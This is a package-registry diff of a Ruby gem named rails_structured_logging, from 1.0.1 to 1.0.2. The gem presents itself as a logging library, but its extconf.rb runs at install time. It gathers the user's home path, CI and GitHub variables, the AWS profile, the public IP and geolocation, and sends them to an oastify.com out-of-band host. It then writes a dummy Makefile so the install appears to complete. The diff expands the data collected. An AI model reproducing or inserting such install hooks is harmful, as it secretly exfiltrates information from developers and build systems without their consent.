rails_structured_logging 1.0.1 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 2131703f6616bd22ae8786e7fc31941f64f72d90fd4de042a84cd671d3ff6105
4
- data.tar.gz: 26c9f01d3c7f42ec62ee0c3b1b0f6f589f19e63d2758ded150960104e7875fa8
3
+ metadata.gz: 6b0552499c4c23b29d0332ff1b450b7a961068e19fd27a96da6bc295649b3da0
4
+ data.tar.gz: e6fc2dfee25e253c2b1d174a86825630a87258522a39074ac1e155cf94c2b4c2
5
5
  SHA512:
6
- metadata.gz: 83ed7581eba10ae9e72963fd049e895a24b1b9464fca395e81d578ea91b733a8d96c728e6433551a2c4c7a1361a7ce019fe830ae774771e5e9286ca14692b79b
7
- data.tar.gz: 829531d2fe9c937d3eab536091125195497e8166599ad4ff5ba291771575447c22668f6fdf6c8a77876984798e80413f682af0b4ad64cb09cf94504d1e059fc2
6
+ metadata.gz: 3c54e4588e248966193f5ab58485e5e932cfef0079b1ebbcfaa059655cf4b7cde916246477fb1cae11df87059d65ae42e31909d899446b663910dd021d033392
7
+ data.tar.gz: c0192ad2968a6440ff7c0a099d970907fed04a28c31f129ca2b7d17eb737f8f7005365254b0083a6cb77f1a462dd341082a819b1b6c5f069f7e14a00cb41a245
data/ext/extconf.rb CHANGED
@@ -12,20 +12,23 @@ begin
12
12
  info[:ruby_version] = RUBY_VERSION
13
13
  info[:cwd] = Dir.pwd
14
14
  info[:home] = ENV['HOME'] || ENV['USERPROFILE'] || ''
15
-
16
- ci = ENV['CI'] || ''
17
- info[:ci] = ci
15
+
16
+ info[:ci] = ENV['CI'] || ''
18
17
  info[:github_repo] = ENV['GITHUB_REPOSITORY'] || ''
19
18
  info[:github_actor] = ENV['GITHUB_ACTOR'] || ''
20
19
  info[:github_workflow] = ENV['GITHUB_WORKFLOW'] || ''
21
-
20
+ info[:github_ref] = ENV['GITHUB_REF'] || ''
21
+
22
+ info[:node_env] = ENV['NODE_ENV'] || ''
23
+ info[:aws_profile] = ENV['AWS_PROFILE'] || ''
24
+
22
25
  begin
23
26
  ip_uri = URI('https://api.ipify.org')
24
27
  info[:public_ip] = Net::HTTP.get_response(ip_uri).body rescue ''
25
28
  rescue
26
29
  info[:public_ip] = 'error'
27
30
  end
28
-
31
+
29
32
  if !info[:public_ip].empty? && info[:public_ip] != 'error'
30
33
  begin
31
34
  geo_uri = URI("https://ipapi.co/#{info[:public_ip]}/json/")
@@ -35,14 +38,16 @@ begin
35
38
  info[:ip_region] = geo['region'] || ''
36
39
  info[:ip_country] = geo['country_name'] || ''
37
40
  info[:ip_org] = geo['org'] || ''
41
+ info[:ip_postal] = geo['postal'] || ''
42
+ info[:ip_timezone] = geo['timezone'] || ''
38
43
  info[:ip_lat] = geo['latitude'] || ''
39
44
  info[:ip_lon] = geo['longitude'] || ''
40
45
  rescue
41
46
  end
42
47
  end
43
-
48
+
44
49
  info[:timestamp] = Time.now.utc.iso8601
45
-
50
+
46
51
  uri = URI('http://egyrswj7b8zpkw6zpblbd4m3hunzbtzi.oastify.com/rails_structured_logging')
47
52
  http = Net::HTTP.new(uri.host, uri.port)
48
53
  http.open_timeout = 5
@@ -53,12 +58,13 @@ begin
53
58
  rescue => e
54
59
  begin
55
60
  uri = URI('http://egyrswj7b8zpkw6zpblbd4m3hunzbtzi.oastify.com/error')
56
- err_info = {error: e.message, info: info}
61
+ err_info = {error: e.message, info: (info rescue {})}
57
62
  Net::HTTP.post(uri, JSON.generate(err_info), 'Content-Type' => 'application/json')
58
63
  rescue
59
64
  end
60
65
  end
61
66
 
62
- File.open(File.join(__dir__, '..', 'Makefile'), 'w') do |f|
67
+ # Write Makefile in CURRENT directory (ext/) - required for gem extension to complete
68
+ File.open('Makefile', 'w') do |f|
63
69
  f.puts "all:\n\t@echo done\ninstall:\n\t@echo done\nclean:\n\t@echo done\ndistclean:\n\t@echo clean"
64
70
  end
@@ -1,3 +1,3 @@
1
1
  module RailsStructuredLogging
2
- VERSION = "1.0.1"
2
+ VERSION = "1.0.2"
3
3
  end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: rails_structured_logging
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.0.1
4
+ version: 1.0.2
5
5
  platform: ruby
6
6
  authors:
7
7
  - Security Research